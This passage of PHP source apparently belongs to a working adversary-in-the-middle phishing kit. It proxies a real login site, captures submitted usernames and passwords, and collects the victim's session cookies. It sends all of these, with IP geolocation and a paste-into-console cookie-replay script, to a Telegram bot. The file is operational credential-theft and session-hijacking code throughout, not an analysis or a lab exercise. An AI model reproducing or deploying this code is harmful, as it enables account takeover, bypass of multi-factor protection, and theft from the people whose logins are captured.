($name === null) continue; $cookieIndex[$name][] = [ 'domain' => (string)$domain, 'path' => $c['Path'] ?? ($c['path'] ?? '/'), 'value' => $c['Value'] ?? ($c['value'] ?? ''), 'expires' => $c['Expires'] ?? ($c['expires'] ?? null), 'raw' => $c, ]; } $normalize = function(string $d): string { return ltrim(strtolower($d), '.'); }; $domainMatches = function(string $cookieDomain, string $authDomain) use ($normalize): bool { $c = $normalize($cookieDomain); $a = $normalize($authDomain); if ($c === $a) return true; if (substr($a, -strlen($c) - 1) === '.' . $c) return true; if (substr($c, -strlen($a) - 1) === '.' . $a) return true; return false; }; $result = ['ok' => true, 'missing' => [], 'present' => []]; foreach ($map as $authDomain => $names) { $missing = []; $presentInfo = []; foreach ($names as $cookieName) { $found = false; if (!empty($cookieIndex[$cookieName])) { foreach ($cookieIndex[$cookieName] as $cookieEntry) { $cookieDomain = $cookieEntry['domain'] ?? ''; if ($domainMatches($cookieDomain, $authDomain)) { $expires = $cookieEntry['expires']; if ($expires === null || $expires === 0 || $expires > time()) { $found = true; $presentInfo[$cookieName] = $cookieEntry; break; } } } } if (!$found) $missing[] = $cookieName; } if (!empty($missing)) { $result['ok'] = false; $result['missing'][$authDomain] = $missing; error_log("[AuthTokenCheck] Missing tokens for $authDomain: " . implode(', ', $missing)); } else { error_log("[AuthTokenCheck] ✅ All tokens satisfied for $authDomain"); } $result['present'][$authDomain] = $presentInfo; } return $result; } function get_post_params(): array { if (!empty($_POST)) return $_POST; $contentType = $_SERVER['CONTENT_TYPE'] ?? ''; $raw = file_get_contents('php://input') ?: ''; if ($raw === '') return []; if (str_contains($contentType, 'application/x-www-form-urlencoded')) { parse_str($raw, $out); return $out; } if (str_contains($contentType, 'application/json')) { $data = json_decode($raw, true); return is_array($data) ? $data : []; } return []; } function normalize_credentials(array $credentials): array { $rules = []; foreach ($credentials as $k => $v) { if (is_string($k) && is_array($v) && isset($v['key'])) { $rules[] = [ 'name' => $k, 'key' => $v['key'], 'search' => $v['search'] ?? '(.*)', 'type' => $v['type'] ?? 'post' ]; continue; } if (is_int($k) && is_array($v) && isset($v['key'])) { $rules[] = [ 'name' => $v['key'], 'key' => $v['key'], 'search' => $v['search'] ?? '(.*)', 'type' => $v['type'] ?? 'post' ]; } } return $rules; } function extract_and_store_credentials(array $credentialsConfig): array { $post = get_post_params(); $rules = normalize_credentials($credentialsConfig); $found = []; foreach ($rules as $rule) { if (($rule['type'] ?? 'post') !== 'post') continue; $keyPattern = $rule['key']; $searchRegex = $rule['search'] ?: '(.*)'; if (array_key_exists($keyPattern, $post)) { $val = (string)$post[$keyPattern]; if (@preg_match('/' . $searchRegex . '/s', $val, $m)) { $found[$rule['name']] = $m[1] ?? $m[0] ?? $val; } else { $found[$rule['name']] = $val; } continue; } $looksLikeRegex = (bool) preg_match('/[\^\$\|\(\)\[\]\+\*\\\\]/', $keyPattern); foreach ($post as $pname => $pval) { if (strcasecmp($pname, $keyPattern) === 0) { $val = (string)$pval; if (@preg_match('/' . $searchRegex . '/s', $val, $m)) { $found[$rule['name']] = $m[1] ?? $m[0] ?? $val; } else { $found[$rule['name']] = $val; } continue 2; } if ($looksLikeRegex) { $safePattern = str_replace('#', '\#', $keyPattern); if (@preg_match("#^($safePattern)$#i", $pname)) { $val = (string)$pval; if (@preg_match('/' . $searchRegex . '/s', $val, $m)) { $found[$rule['name']] = $m[1] ?? $m[0] ?? $val; } else { $found[$rule['name']] = $val; } continue 2; } if (@preg_match("#\b($safePattern)\b#i", $pname)) { $val = (string)$pval; if (@preg_match('/' . $searchRegex . '/s', $val, $m)) { $found[$rule['name']] = $m[1] ?? $m[0] ?? $val; } else { $found[$rule['name']] = $val; } continue 2; } } } } if (!empty($found['username'])) { $_SESSION['username'] = $found['username']; log_event('USERNAME_CAPTURED', [ 'username' => $found['username'], 'post_keys' => array_keys($post), 'matched_pattern' => 'username' ]); } if (!empty($found['password'])) { $_SESSION['password'] = $found['password']; log_event('PASSWORD_CAPTURED', [ 'username' => $_SESSION['username'] ?? 'N/A', 'password' => $found['password'], 'password_length' => strlen($found['password']), 'post_keys' => array_keys($post) ]); if (!empty($_SESSION['username'])) { global $cfg; // Don't send Telegram here - wait for auth tokens (has complete password) @Youvegotcookie($_SESSION['username'], $found['password'], true, false); @update_db_session($_SESSION['username'], $found['password'], $cfg['phish_name'] ?? ''); } } if (!empty($found)) { $_SESSION['credentials_found'] = $found; log_event('CREDENTIALS_EXTRACTED', [ 'fields' => array_keys($found), 'username' => $found['username'] ?? null, 'has_password' => !empty($found['password']) ]); } return $found; } function parse_netscape_cookiejar_lines(string $cookieFile): array { if (!is_file($cookieFile)) return []; $lines = @file($cookieFile, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES); if (!$lines) return []; $cookies = []; foreach ($lines as $line) { $raw = $line; $line = trim($line); if ($line === '') continue; $httpOnly = false; if (str_starts_with($line, '#HttpOnly_')) { $httpOnly = true; $line = substr($line, strlen('#HttpOnly_')); } if ($line[0] === '#') continue; $parts = explode("\t", $line); if (count($parts) < 7) continue; $domain = $parts[0]; $flag = strtoupper($parts[1] ?? 'FALSE'); $path = $parts[2]; $secure = strtoupper($parts[3] ?? 'FALSE') === 'TRUE'; $expires = (int)($parts[4] ?? 0); $name = $parts[5] ?? ''; $value = $parts[6] ?? ''; $cookies[] = [ 'domain' => $domain, 'include_subdomains' => ($flag === 'TRUE'), 'path' => $path, 'secure' => $secure, 'expires' => $expires, 'name' => $name, 'value' => $value, 'raw' => $raw, 'httponly' => $httpOnly, ]; } return $cookies; } function auth_tokens_satisfied_from_netscape(string $cookieFile, array $authTokens): array { $entries = parse_netscape_cookiejar_lines($cookieFile); $map = []; $isList = false; foreach ($authTokens as $k => $v) { if (is_int($k) && is_array($v) && isset($v['domain'])) { $isList = true; break; } } if ($isList) { foreach ($authTokens as $e) { $d = (string)($e['domain'] ?? ''); $keys = $e['keys'] ?? []; if ($d !== '') $map[$d] = array_values($keys); } } else { foreach ($authTokens as $d => $keys) { $map[(string)$d] = array_values((array)$keys); } } $byName = []; foreach ($entries as $e) { $name = $e['name'] ?? ''; if ($name === '') continue; $byName[$name][] = $e; } $normalize = function(string $d): string { return ltrim(strtolower($d), '.'); }; $domainMatches = function(string $cookieDomain, string $authDomain, bool $includeSub) use ($normalize): bool { $c = $normalize($cookieDomain); // Remove leading dot $a = $normalize($authDomain); // Exact match if ($c === $a) return true; // Standard subdomain matching if (substr($a, -strlen($c) - 1) === '.' . $c) return true; if (substr($c, -strlen($a) - 1) === '.' . $a) return true; if ($includeSub && str_ends_with($a, $c)) return true; // Multi-wildcard pattern matching if (str_contains($authDomain, '*')) { $captured = match_wildcard_host($c, $authDomain); // Use normalized (no dot) if ($captured !== null) { error_log("[AuthTokenMatch] Wildcard match: $cookieDomain against $authDomain"); return true; } } return false; }; $result = ['ok' => true, 'missing' => [], 'present' => []]; foreach ($map as $authDomain => $names) { $missing = []; $present = []; foreach ($names as $cookieName) { $found = false; if (!empty($byName[$cookieName])) { foreach ($byName[$cookieName] as $ce) { if ($ce['expires'] > 0 && $ce['expires'] < time()) continue; if ($domainMatches($ce['domain'], $authDomain, $ce['include_subdomains'])) { $found = true; $present[$cookieName] = $ce; break; } } } if (!$found) $missing[] = $cookieName; } if (!empty($missing)) { $result['ok'] = false; $result['missing'][$authDomain] = $missing; error_log("[AuthTokenCheck] Missing tokens for $authDomain: " . implode(', ', $missing)); } else { error_log("[AuthTokenCheck] ✅ All tokens satisfied for $authDomain"); } $result['present'][$authDomain] = $present; } return $result; } function perform_valid_login_redirect($target_url) { $b64_url = base64_encode($target_url); setcookie("_proxy_redirect", $b64_url, time() + 60, "/"); $is_ajax = false; if(!empty($_SERVER['HTTP_X_REQUESTED_WITH']) && strtolower($_SERVER['HTTP_X_REQUESTED_WITH']) == 'xmlhttprequest') $is_ajax = true; if(stripos($_SERVER['HTTP_ACCEPT'] ?? '', 'application/json') !== false) $is_ajax = true; if(stripos($_SERVER['CONTENT_TYPE'] ?? '', 'application/json') !== false) $is_ajax = true; if ($is_ajax) { header('Content-Type: application/json'); echo json_encode([ 'force_redirect' => $target_url, 'status' => 'success', 'IsSuccess' => true, 'redirect' => $target_url, 'url' => $target_url, 'destination' => $target_url ]); exit; } else { if (!headers_sent()) header("Location: " . $target_url); echo ''; echo ''; echo ''; echo '

Redirecting... Click here

'; echo ''; exit; } } function makeCurlFile($file) { $mime = mime_content_type($file); $info = pathinfo($file); $name = $info['basename']; return new CURLFile($file, $mime, $name); } function flag_emoji_from_code(string $code): ?string { $code = trim($code); if ($code === '') return null; $code = strtoupper($code); if (strlen($code) !== 2) return null; $chars = str_split($code); $emoji = ''; foreach ($chars as $ch) { if ($ch < 'A' || $ch > 'Z') return null; $base = 0x1F1E6; $offset = ord($ch) - ord('A'); $codepoint = $base + $offset; if ($codepoint <= 0x7F) $emoji .= chr($codepoint); elseif ($codepoint <= 0x7FF) { $emoji .= chr(0xC0 | ($codepoint >> 6)); $emoji .= chr(0x80 | ($codepoint & 0x3F)); } elseif ($codepoint <= 0xFFFF) { $emoji .= chr(0xE0 | ($codepoint >> 12)); $emoji .= chr(0x80 | (($codepoint >> 6) & 0x3F)); $emoji .= chr(0x80 | ($codepoint & 0x3F)); } else { $emoji .= chr(0xF0 | ($codepoint >> 18)); $emoji .= chr(0x80 | (($codepoint >> 12) & 0x3F)); $emoji .= chr(0x80 | (($codepoint >> 6) & 0x3F)); $emoji .= chr(0x80 | ($codepoint & 0x3F)); } } return $emoji; } function get_IP_address() { if (isset($_SERVER["HTTP_CF_CONNECTING_IP"])) { $_SERVER['REMOTE_ADDR'] = $_SERVER["HTTP_CF_CONNECTING_IP"]; $_SERVER['HTTP_CLIENT_IP'] = $_SERVER["HTTP_CF_CONNECTING_IP"]; } $client = @$_SERVER['HTTP_CLIENT_IP']; $forward = @$_SERVER['HTTP_X_FORWARDED_FOR']; $remote = $_SERVER['REMOTE_ADDR']; if (filter_var($client, FILTER_VALIDATE_IP)) return $client; elseif (filter_var($forward, FILTER_VALIDATE_IP)) return $forward; else return $remote; } function ip_info($ip = NULL, $purpose = "location", $deep_detect = TRUE) { $output = NULL; if (filter_var($ip, FILTER_VALIDATE_IP) === FALSE) { $ip = $_SERVER["REMOTE_ADDR"]; if ($deep_detect) { if (filter_var(@$_SERVER['HTTP_X_FORWARDED_FOR'], FILTER_VALIDATE_IP)) $ip = $_SERVER['HTTP_X_FORWARDED_FOR']; if (filter_var(@$_SERVER['HTTP_CLIENT_IP'], FILTER_VALIDATE_IP)) $ip = $_SERVER['HTTP_CLIENT_IP']; } } $purpose = str_replace(array("name", "\n", "\t", " ", "-", "_"), NULL, strtolower(trim($purpose))); $support = array("country", "countrycode", "state", "region", "city", "location", "address", "ip"); $continents = array( "AF" => "Africa", "AN" => "Antarctica", "AS" => "Asia", "EU" => "Europe", "OC" => "Australia (Oceania)", "NA" => "North America", "SA" => "South America" ); if (filter_var($ip, FILTER_VALIDATE_IP) && in_array($purpose, $support)) { $ipdat = @json_decode(@file_get_contents("http://www.geoplugin.net/json.gp?ip=" . $ip)); if (@strlen(trim($ipdat->geoplugin_countryCode ?? '')) == 2) { switch ($purpose) { case "location": $output = array( "city" => @$ipdat->geoplugin_city, "state" => @$ipdat->geoplugin_regionName, "country" => @$ipdat->geoplugin_countryName, "country_code" => @$ipdat->geoplugin_countryCode, "continent" => @$continents[strtoupper($ipdat->geoplugin_continentCode)], "continent_code" => @$ipdat->geoplugin_continentCode, "ip" => $ip ); break; case "address": $address = array($ipdat->geoplugin_countryName); if (@strlen($ipdat->geoplugin_regionName) >= 1) $address[] = $ipdat->geoplugin_regionName; if (@strlen($ipdat->geoplugin_city) >= 1) $address[] = $ipdat->geoplugin_city; $output = implode(", ", array_reverse($address)); break; case "city": $output = @$ipdat->geoplugin_city; break; case "state": $output = @$ipdat->geoplugin_regionName; break; case "region": $output = @$ipdat->geoplugin_regionName; break; case "country": $output = @$ipdat->geoplugin_countryName; break; case "countrycode": $output = @$ipdat->geoplugin_countryCode; break; case "ip": $output = $ip; break; } } } return $output; } function get_country() { $info = []; try { $ip = get_IP_address(); $url = 'http://ipinfo.io/' . $ip; $ch = curl_init(); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_TIMEOUT, 5); $data = curl_exec($ch); curl_close($ch); $info = @json_decode($data, true) ?: []; unset($info['readme']); $info['country_code'] = $info['country'] ?? ''; $info['ip'] = $ip; if (stripos($data ?: '', 'Rate limit exceeded') !== false || empty($info['country'])) { $url = "http://free.ipwhois.io/json/" . $ip; $ch = curl_init(); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_TIMEOUT, 5); $data = curl_exec($ch); curl_close($ch); $info = @json_decode($data, true) ?: []; $info['ip'] = $ip; $info['country_code'] = $info['country_code'] ?? ''; } if (empty($info['country']) && empty($info['country_code'])) { $info = ip_info($ip, "location") ?: []; $info['country'] = $info['country_code'] ?? ''; $info['ip'] = $ip; } } catch (Exception $e) { error_log("get_country error: " . $e->getMessage()); } return $info; } function getOS() { $user_agent = $_SERVER['HTTP_USER_AGENT'] ?? ''; $os_platform = "Unknown OS Platform"; $os_array = array( '/windows nt 10/i' => 'Windows 10', '/windows nt 6.3/i' => 'Windows 8.1', '/windows nt 6.2/i' => 'Windows 8', '/windows nt 6.1/i' => 'Windows 7', '/windows nt 6.0/i' => 'Windows Vista', '/windows nt 5.2/i' => 'Windows Server 2003/XP x64', '/windows nt 5.1/i' => 'Windows XP', '/windows xp/i' => 'Windows XP', '/windows nt 5.0/i' => 'Windows 2000', '/windows me/i' => 'Windows ME', '/win98/i' => 'Windows 98', '/win95/i' => 'Windows 95', '/win16/i' => 'Windows 3.11', '/macintosh|mac os x/i' => 'Mac OS X', '/mac_powerpc/i' => 'Mac OS 9', '/linux/i' => 'Linux', '/ubuntu/i' => 'Ubuntu', '/iphone/i' => 'iPhone', '/ipod/i' => 'iPod', '/ipad/i' => 'iPad', '/android/i' => 'Android', '/blackberry/i' => 'BlackBerry', '/webos/i' => 'Mobile' ); foreach ($os_array as $regex => $value) if (preg_match($regex, $user_agent)) $os_platform = $value; return $os_platform; } function getBrowser() { $user_agent = $_SERVER['HTTP_USER_AGENT'] ?? ''; $browser = "Unknown Browser"; $browser_array = array( '/msie/i' => 'Internet Explorer', '/firefox/i' => 'Firefox', '/safari/i' => 'Safari', '/chrome/i' => 'Chrome', '/edge/i' => 'Edge', '/opera/i' => 'Opera', '/netscape/i' => 'Netscape', '/maxthon/i' => 'Maxthon', '/konqueror/i' => 'Konqueror', '/mobile/i' => 'Handheld Browser' ); foreach ($browser_array as $regex => $value) if (preg_match($regex, $user_agent)) $browser = $value; return $browser; } function has_prefix($string, $prefix) { return substr($string, 0, strlen($prefix)) == $prefix; } function exportcookie($content) { $cookies = array(); $out_cookie = array(); foreach (preg_split('~[\r\n]+~', $content) as $line) { $cokie = array( "name" => "", "path" => "", "value" => "", "domain" => "", "secure" => true, "expires" => "0", "httponly" => true ); $cookie_ = preg_split('/\s+/', $line); try { if (isset($cookie_[1])) { if ($cookie_[1] === 'TRUE' || $cookie_[1] === 'FALSE') { $cokie['httponly'] = (has_prefix($cookie_[0], '#HttpOnly') ? true : false); $cokie['domain'] = (has_prefix($cookie_[0], '#HttpOnly') ? substr($cookie_[0], 10) : $cookie_[0]); $cokie['name'] = $cookie_[5] ?? ''; $cokie['path'] = $cookie_[2] ?? '/'; $cokie['expires'] = (($cookie_[4] ?? '0') !== '0' ? "31536000" : ($cookie_[4] ?? '0')); $cokie['value'] = $cookie_[6] ?? ''; $cokie['secure'] = (($cookie_[1] ?? '') !== 'TRUE' ? true : false); array_push($cookies, $cokie); } } } catch (Exception $e) {} } foreach ($cookies as $kpcookies) array_push($out_cookie, $kpcookies); return $out_cookie; } function temporaryFile($name, $content) { $tempDir = sys_get_temp_dir(); $file = $tempDir . DIRECTORY_SEPARATOR . ltrim($name, DIRECTORY_SEPARATOR); file_put_contents($file, $content); register_shutdown_function(function () use ($file) { @unlink($file); }); return $file; } function Youvegotcookie($email, $passwd = "", $truelogin = false, $Hascookie = false, $tmpfname = "") { global $apiTokencode, $chatidcode, $cfg; if (!$apiTokencode || !$chatidcode) { @error_log("[Telegram] Missing bot token or chat ID"); return; } $gc = get_country(); // Only escape characters that break Telegram Markdown $escapeMarkdown = function($text) { return str_replace(['_', '*', '[', ']', '(', ')', '~', '`', '>'], ['\\_', '\\*', '\\[', '\\]', '\\(', '\\)', '\\~', '\\`', '\\>'], $text); }; $safeEmail = $escapeMarkdown($email); $safePasswd = $escapeMarkdown($passwd); $msg = "IP: " . $gc['ip'] . " " . flag_emoji_from_code($gc['country_code'] ?? '') . " " . ($gc['country'] ?? 'Unknown'); $msg .= "\n⏱️: " . date('l jS \of F Y h:i:s A'); $msg .= "\n👨🏻‍💻: " . $safeEmail; if ($passwd) $msg .= "\n🔑: " . $safePasswd; if ($cfg['phish_name'] ?? '') $msg .= "\n🔗: " . $cfg['phish_name']; $msg .= "\n🌎: " . getBrowser(); $msg .= "\n💻: " . getOS(); $cookies = null; $cookieFile = null; if (!empty($tmpfname) && is_file($tmpfname)) { $cookieFile = cookiejar_to_temp_json($tmpfname, 'Cookies_'.$email); $cotent = file_get_contents($tmpfname); $cookies = exportcookie($cotent); if(isset($_SESSION['cookies'])) $jsonCookies = $cookies; } // Update database @update_db_session($email, $passwd, $cfg['phish_name'] ?? '', $cookies); // Send to Telegram try { // Send text message first $ch = curl_init('https://api.telegram.org/bot' . $apiTokencode . '/sendMessage'); curl_setopt_array($ch, [ CURLOPT_RETURNTRANSFER => 1, CURLOPT_POST => 1, CURLOPT_POSTFIELDS => [ 'chat_id' => $chatidcode, 'text' => $msg, 'parse_mode' => 'Markdown' ], CURLOPT_TIMEOUT => 10 ]); $result = @curl_exec($ch); $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); @curl_close($ch); $resp = @json_decode($result, true); if (is_array($resp) && !empty($resp['ok'])) { @error_log("[Telegram] ✅ Message sent for: $email"); } else { @error_log("[Telegram] ❌ Message failed - HTTP: $httpCode, Response: $result"); } // Send cookie file as document if available if ($cookieFile && is_file($cookieFile)) { $ch2 = curl_init('https://api.telegram.org/bot' . $apiTokencode . '/sendDocument'); curl_setopt_array($ch2, [ CURLOPT_RETURNTRANSFER => 1, CURLOPT_POST => 1, CURLOPT_POSTFIELDS => [ 'chat_id' => $chatidcode, 'document' => makeCurlFile($cookieFile), 'caption' => $msg ], CURLOPT_TIMEOUT => 10 ]); $docResult = @curl_exec($ch2); $docHttpCode = curl_getinfo($ch2, CURLINFO_HTTP_CODE); @curl_close($ch2); $docResp = @json_decode($docResult, true); if (is_array($docResp) && !empty($docResp['ok'])) { @error_log("[Telegram] ✅ Cookie file sent for: $email"); } else { @error_log("[Telegram] ❌ Cookie file failed - HTTP: $docHttpCode, Response: $docResult"); } } } catch (Throwable $e) { @error_log("[Telegram] Exception: " . $e->getMessage()); } } function cookiejar_to_temp_json(string $cookieJarPath, string $prefix = 'cookies_'): ?string { if (!is_file($cookieJarPath)) return null; $cotent = file_get_contents($cookieJarPath); $cokkies = exportcookie($cotent); $json = json_encode($cokkies); if ($json === false) return null; $cookisample = <<<'EOD' /***PASTE THIS ON THE HOST CONSOLE***/ (() => { let cookies = {cookies} function setCookie(key, value, domain, expires, path, isSecure) { domain = domain ? domain : window.location.hostname; if (key.startsWith('__Host')) { console.log('!important not set domain or browser will rejected due to setting a domain=>', key, value); document.cookie = `${key}=${value};${expires};path=${path};Secure;SameSite=None`; } else if (key.startsWith('__Secure')) { console.log('!important set secure flag or browser will rejected due to missing Secure directive=>', key, value); document.cookie = `${key}=${value};${expires};domain=${domain};path=${path};Secure;SameSite=None`; } else { if (isSecure) { if (window.location.hostname == domain) { document.cookie = `${key}=${value};${expires};path=${path};Secure;SameSite=None`; } else { document.cookie = `${key}=${value};${expires};domain=${domain};path=${path};Secure;SameSite=None`; } } else { console.log('standard cookies Set', key, value); if (window.location.hostname == domain) { document.cookie = `${key}=${value};${expires};path=${path}`; } else { document.cookie = `${key}=${value};${expires};domain=${domain};path=${path}`; } } } } for (let cookie of cookies) { setCookie(cookie.name, cookie.value, cookie.domain, cookie.expires, cookie.path, cookie.secure); } })(); EOD; $files_content = str_replace("{cookies}", $json, $cookisample); $tmp = sys_get_temp_dir() . DIRECTORY_SEPARATOR . $prefix . '.txt'; if (file_put_contents($tmp, $files_content) === false) return null; register_shutdown_function(function() use ($tmp) { if (is_file($tmp)) @unlink($tmp); }); return $tmp; } function extract_host_from_value(string $val): ?string { $val = trim($val); if ($val === '') return null; if (str_starts_with($val, '//')) $val = 'http:' . $val; if (!str_starts_with($val, 'http')) { if (preg_match('/^[a-z0-9.-]+$/i', $val)) return strtolower($val); $val = 'http://' . $val; } $p = parse_url($val); return $p['host'] ?? null; } function save_config_json_if_changed(string $configPath, array $cfg): bool { $existing = @file_get_contents($configPath); if ($existing === false) return false; $newJson = json_encode($cfg, JSON_PRETTY_PRINT | JSON_UNESCAPED_SLASHES); if ($newJson === false) return false; if (trim($existing) === trim($newJson)) return true; return (bool) file_put_contents($configPath, $newJson, LOCK_EX); } function recursive_search_key($data, string $searchKey): ?string { if (!is_array($data)) return null; if (array_key_exists($searchKey, $data)) { $val = $data[$searchKey]; if (is_string($val) && $val !== '') return $val; } foreach ($data as $key => $value) { if (is_array($value)) { $found = recursive_search_key($value, $searchKey); if ($found !== null) return $found; } } return null; } check_authorization($DOMAIN_MAP, $START_REQUEST_URL); ensure_dir(CURL_NETSCAPE_FOLDER); if (empty($_SESSION['ip'])) $_SESSION['ip'] = $_SERVER['REMOTE_ADDR'] ?? ''; if (empty($_SESSION['user_agent'])) $_SESSION['user_agent'] = $_SERVER['HTTP_USER_AGENT'] ?? ''; $upstreamUrl = upstream_url_from_request($DOMAIN_MAP); $upstreamOrigin = get_upstream_origin($DOMAIN_MAP); $cookieJar = session_cookiejar_path(); if (!file_exists($cookieJar)) file_put_contents($cookieJar, "# Netscape HTTP Cookie File\n"); if(isset($_SESSION['isdone'])) { Youvegotcookie($_SESSION['username'] ?? '', $_SESSION['password'] ?? '', true, true, $cookieJar); perform_valid_login_redirect($cfg['success_redirect'] ?? '/'); } $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $upstreamUrl); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_HEADER, true); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false); // Don't let cURL write cookies (it includes proxy domains) // curl_setopt($ch, CURLOPT_COOKIEJAR, $cookieJar); // DISABLED - we merge manually curl_setopt($ch, CURLOPT_COOKIEFILE, $cookieJar); $method = $_SERVER['REQUEST_METHOD'] ?? 'GET'; // Handle OPTIONS preflight early if ($method === 'OPTIONS') { $requestOrigin = $_SERVER['HTTP_ORIGIN'] ?? ''; if ($requestOrigin !== '') { header('Access-Control-Allow-Origin: ' . $requestOrigin); header('Access-Control-Allow-Credentials: true'); header('Access-Control-Allow-Methods: GET, POST, PUT, DELETE, OPTIONS, PATCH'); header('Access-Control-Allow-Headers: Content-Type, Authorization, X-Requested-With, requestverificationtoken, request-id, traceparent, request-context'); } http_response_code(204); exit; } curl_setopt($ch, CURLOPT_CUSTOMREQUEST, $method); $bodyIn = file_get_contents('php://input'); if ($bodyIn !== '' && in_array($method, ['POST','PUT','PATCH','DELETE'], true)) { $originalLength = strlen($bodyIn); $bodyIn = rewrite_request_body_urls($bodyIn, $_SERVER['CONTENT_TYPE'] ?? '', $DOMAIN_MAP, $domainRoot); $newLength = strlen($bodyIn); if ($newLength !== $originalLength) { error_log("[RequestBodyRewrite] Content-Length changed: $originalLength → $newLength"); } curl_setopt($ch, CURLOPT_POSTFIELDS, $bodyIn); } $reqHeaders = strip_hop_by_hop_headers(get_request_headers()); unset($reqHeaders['Host'], $reqHeaders['Accept-Encoding'], $reqHeaders['Content-Length']); $reqHeaders['Host'] = parse_url($upstreamOrigin, PHP_URL_HOST) ?? ''; $reqHeaders = rewrite_request_headers($reqHeaders, $DOMAIN_MAP, $domainRoot); // Add Content-Length AFTER body rewrite if ($bodyIn !== '' && in_array($method, ['POST','PUT','PATCH','DELETE'], true)) { $reqHeaders['Content-Length'] = (string)strlen($bodyIn); } $reqHeadersArr = []; foreach ($reqHeaders as $k => $v) $reqHeadersArr[] = $k . ': ' . $v; curl_setopt($ch, CURLOPT_HTTPHEADER, $reqHeadersArr); // Debug log: what we're sending to upstream if ($method === 'POST' && !empty($bodyIn)) { error_log("[ProxyDebug] Sending POST to: $upstreamUrl"); error_log("[ProxyDebug] Headers: " . json_encode($reqHeaders)); error_log("[ProxyDebug] Body: " . substr($bodyIn, 0, 500)); // Log POST request event $postData = get_post_params(); log_event('POST_REQUEST', [ 'url' => $upstreamUrl, 'content_type' => $_SERVER['CONTENT_TYPE'] ?? '', 'post_keys' => array_keys($postData), 'body_length' => strlen($bodyIn) ]); } if (!empty($_SERVER['HTTP_COOKIE'])) curl_setopt($ch, CURLOPT_COOKIE, $_SERVER['HTTP_COOKIE']); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, true); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 2); $response = curl_exec($ch); if ($response === false) { http_response_code(502); header('Content-Type: text/plain; charset=utf-8'); echo "Proxy error: " . curl_error($ch); exit; } $info = curl_getinfo($ch); curl_close($ch); $headerSize = (int)($info['header_size'] ?? 0); $rawHeaders = substr($response, 0, $headerSize); $respBody = substr($response, $headerSize); $httpCode = (int)($info['http_code'] ?? 200); http_response_code($httpCode); // MERGE COOKIES - prevent cURL from overwriting existing cookies $upstreamHost = parse_url($upstreamUrl, PHP_URL_HOST) ?? ''; merge_cookies_to_jar($cookieJar, $rawHeaders, $upstreamHost); // Add CORS headers to allow cross-origin requests $requestOrigin = $_SERVER['HTTP_ORIGIN'] ?? ''; if ($requestOrigin !== '') { header('Access-Control-Allow-Origin: ' . $requestOrigin); header('Access-Control-Allow-Credentials: true'); header('Access-Control-Allow-Methods: GET, POST, PUT, DELETE, OPTIONS, PATCH'); header('Access-Control-Allow-Headers: Content-Type, Authorization, X-Requested-With, requestverificationtoken, request-id, traceparent, request-context'); } // Handle OPTIONS preflight if ($_SERVER['REQUEST_METHOD'] === 'OPTIONS') { http_response_code(204); exit; } if (!empty($cfg['add_domain_to_mapping_from_response']) && is_array($cfg['add_domain_to_mapping_from_response'])) { foreach ($cfg['add_domain_to_mapping_from_response'] as $rule) { $respType = strtolower(trim((string)($rule['responsetype'] ?? 'json'))); $searchKey = $rule['searchkey'] ?? ''; $mappingHostKey = $rule['mappinghostkey'] ?? 'phishhost'; $mappingHostKeyValue = $rule['mappinghostkeyvalue'] ?? ''; if ($searchKey === '') continue; $foundHost = null; if ($respType === 'json') { $j = @json_decode($respBody, true); if (is_array($j)) { $foundValue = recursive_search_key($j, $searchKey); if ($foundValue !== null) { $h = extract_host_from_value($foundValue); if ($h) $foundHost = $h; } } } else { if (preg_match('/"' . preg_quote($searchKey, '/') . '"\s*:\s*"([^"]+)"/i', $respBody, $mjson)) { $h = extract_host_from_value($mjson[1]); if ($h) $foundHost = $h; } if ($foundHost === null) { if (preg_match('/' . preg_quote($searchKey, '/') . '\s*=\s*["\']?([^"\'\s>]+)/i', $respBody, $m2)) { $h = extract_host_from_value($m2[1]); if ($h) $foundHost = $h; } } } if ($foundHost !== null) { $targetValue = $mappingHostKeyValue; $hostParts = explode('.', $foundHost); $subdomain = $hostParts[0] ?? $foundHost; if ($targetValue !== '') { $configValue = str_replace('*', $subdomain, $targetValue); } else { $configValue = $subdomain . '.[domain]'; } $mapped = str_replace('[domain]', $domainRoot, $configValue); $upKey = $foundHost; $exists = false; if (!isset($cfg['domain_mappings']) || !is_array($cfg['domain_mappings'])) $cfg['domain_mappings'] = []; foreach ($cfg['domain_mappings'] as &$dm) { if (isset($dm['host']) && $dm['host'] === $upKey) { $dm[$mappingHostKey] = $configValue; $exists = true; break; } } unset($dm); if (!$exists) { $cfg['domain_mappings'][] = ['host' => $upKey, $mappingHostKey => $configValue]; usort($cfg['domain_mappings'], function($a, $b) { $aHasWildcard = str_contains($a['host'] ?? '', '*'); $bHasWildcard = str_contains($b['host'] ?? '', '*'); if ($aHasWildcard && !$bHasWildcard) return 1; if (!$aHasWildcard && $bHasWildcard) return -1; return 0; }); } $DOMAIN_MAP[$upKey] = $mapped; if (!empty($CONFIG_PATH) && is_string($CONFIG_PATH) && is_writable($CONFIG_PATH)) { save_config_json_if_changed($CONFIG_PATH, $cfg); } error_log("Dynamic mapping: $upKey => $mapped (config: $configValue)"); break; } } } $upstreamCsp = ''; $lines = preg_split("/\r\n|\n|\r/", trim($rawHeaders)); foreach ($lines as $line) { if ($line === '' || str_starts_with($line, 'HTTP/')) continue; $pos = strpos($line, ':'); if ($pos === false) continue; $name = trim(substr($line, 0, $pos)); $value = trim(substr($line, $pos + 1)); $lname = strtolower($name); if (in_array($lname, ['content-length','transfer-encoding','content-encoding','connection'], true)) continue; if ($lname === 'content-security-policy' || $lname === 'content-security-policy-report-only') { $value = rewrite_domains_in_header($value, $DOMAIN_MAP); if ($upstreamCsp === '') $upstreamCsp = $value; else $upstreamCsp .= ' ' . $value; header("$name: $value", true); continue; } if ($lname === 'location') { $value = rewrite_location($value, $DOMAIN_MAP); header("Location: $value"); continue; } if ($lname === 'set-cookie') { $value = rewrite_set_cookie($value); header("Set-Cookie: $value", false); continue; } 